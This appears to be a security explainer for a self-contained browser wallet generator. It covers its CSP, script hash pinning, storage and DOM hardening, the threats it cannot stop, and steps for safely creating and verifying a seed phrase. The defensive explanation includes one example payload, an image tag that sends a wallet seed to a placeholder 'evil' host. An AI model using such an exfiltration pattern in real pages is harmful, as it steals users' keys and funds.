Generating a wallet safely
What protects your keys here — and what doesn't
Most wallet tools claim to be "100% client-side and secure". That sentence is worth almost nothing, because it describes an intention rather than a mechanism. Here is the mechanism, and its limits.
The load-bearing part: connect-src 'none'
The page ships a Content-Security-Policy that tells your browser to refuse every outbound request this page could make — fetch, XMLHttpRequest, WebSocket, sendBeacon, all of it. Not "we promise not to". The browser will not permit it.
The reason this matters more than a promise: it holds even if this page's JavaScript turns malicious. If someone compromised this repository tomorrow and replaced the app with a key-stealer, the stealer would have nowhere to send what it stole. Images, stylesheets, fonts and form submissions are locked down for the same reason — every one of them is an exfiltration channel if you leave it open, and <img src="https://evil/?seed=…"> works just as well as a network call.
The rest of the mechanism
- No CDNs, no eval, nothing fetched at all. This page is a single file: the app, the cryptography, the stylesheet, the fonts and the worker thread are inside it. The old version of this tool loaded ethers from jsDelivr inside a worker — meaning a bad day at a CDN was a bad day for your keys.
- The script is pinned by its own hash. The policy above names the SHA-256 of the code in this file. Your browser recomputes it on every load and runs the code only on an exact match — so a modified file does not run a modified app, it runs nothing, and says so. It also means an injected script tag cannot execute: it cannot match a hash computed before it existed.
- Because it fetches nothing, it runs anywhere. Save this file, unplug the machine, open it from a folder. Identical behaviour, no server, no network.
- No storage. No localStorage, no IndexedDB, no cookies, nothing in the URL.
localStorageis actively redefined to throw, so a future edit that tries to stash a seed fails loudly instead of shipping quietly. - No innerHTML. Every address and key reaches the screen through
textContent. There is no HTML-injection sink to find. - Frozen prototypes before the crypto loads, so prototype pollution cannot change what a
Uint8Arraymeans halfway through a key derivation. - Audited dependencies only — the
@nobleand@scurelibraries, pinned by version and hash, bundled unminified so you can read them. Nothing in the bundle is capable of network I/O.
What none of that stops
- Browser extensions. Their content scripts run in a separate world with their own permissions. They can read this page and make their own requests, and this page's CSP does not constrain them. No JavaScript here can change that.
- A compromised operating system. Keyloggers, clipboard scrapers, screen capture. Nothing in a browser tab defends against the machine it runs on.
- A tampered file, tampered consistently. The hash in the policy makes the browser refuse a modified script — but whoever can rewrite the script can rewrite the hash next to it. That is tamper-evidence against a partial compromise, not proof of honesty. Only comparing the published SHA-256 of this whole file against your copy gives you that, and only because it is published somewhere other than this file.
- Someone reading your screen. Hence the blur on every secret until you ask for it.
The environment panel reports facts about where you are running. It is not a guarantee — a page that had already been compromised could lie about every line of it.
If the wallet will hold real money
- Save this page to disk — it is already a single self-contained file — and verify its SHA-256 against the published release.
- Disconnect. Turn off Wi-Fi. The environment panel will show offline. This is the step that actually defeats extensions and drive-by scripts, because it removes the network they need.
- Use a clean browser profile with no extensions, or better, a live USB session on a machine with no persistent storage.
- Write the phrase on paper. Not a photo, not a note app, not a password manager's notes field. Two copies, two locations.
- Verify before funding. Restore the phrase into the wallet you actually intend to use and confirm it shows the same first address. Send a small test amount first. Every time.
- Close the browser when done, and reboot if you were on a shared machine.
Verifying you are running what you think
Every release publishes a SHA-256. Because everything is in one file, one hash covers the whole application:
shasum -a 256 index.html
Compare against the release notes. If they differ, do not use it. The build is reproducible from source with npm run build, and CI re-runs that on every commit to assert the committed files still match src/ — so a change smuggled into the built output, without a matching source change, fails the pipeline visibly.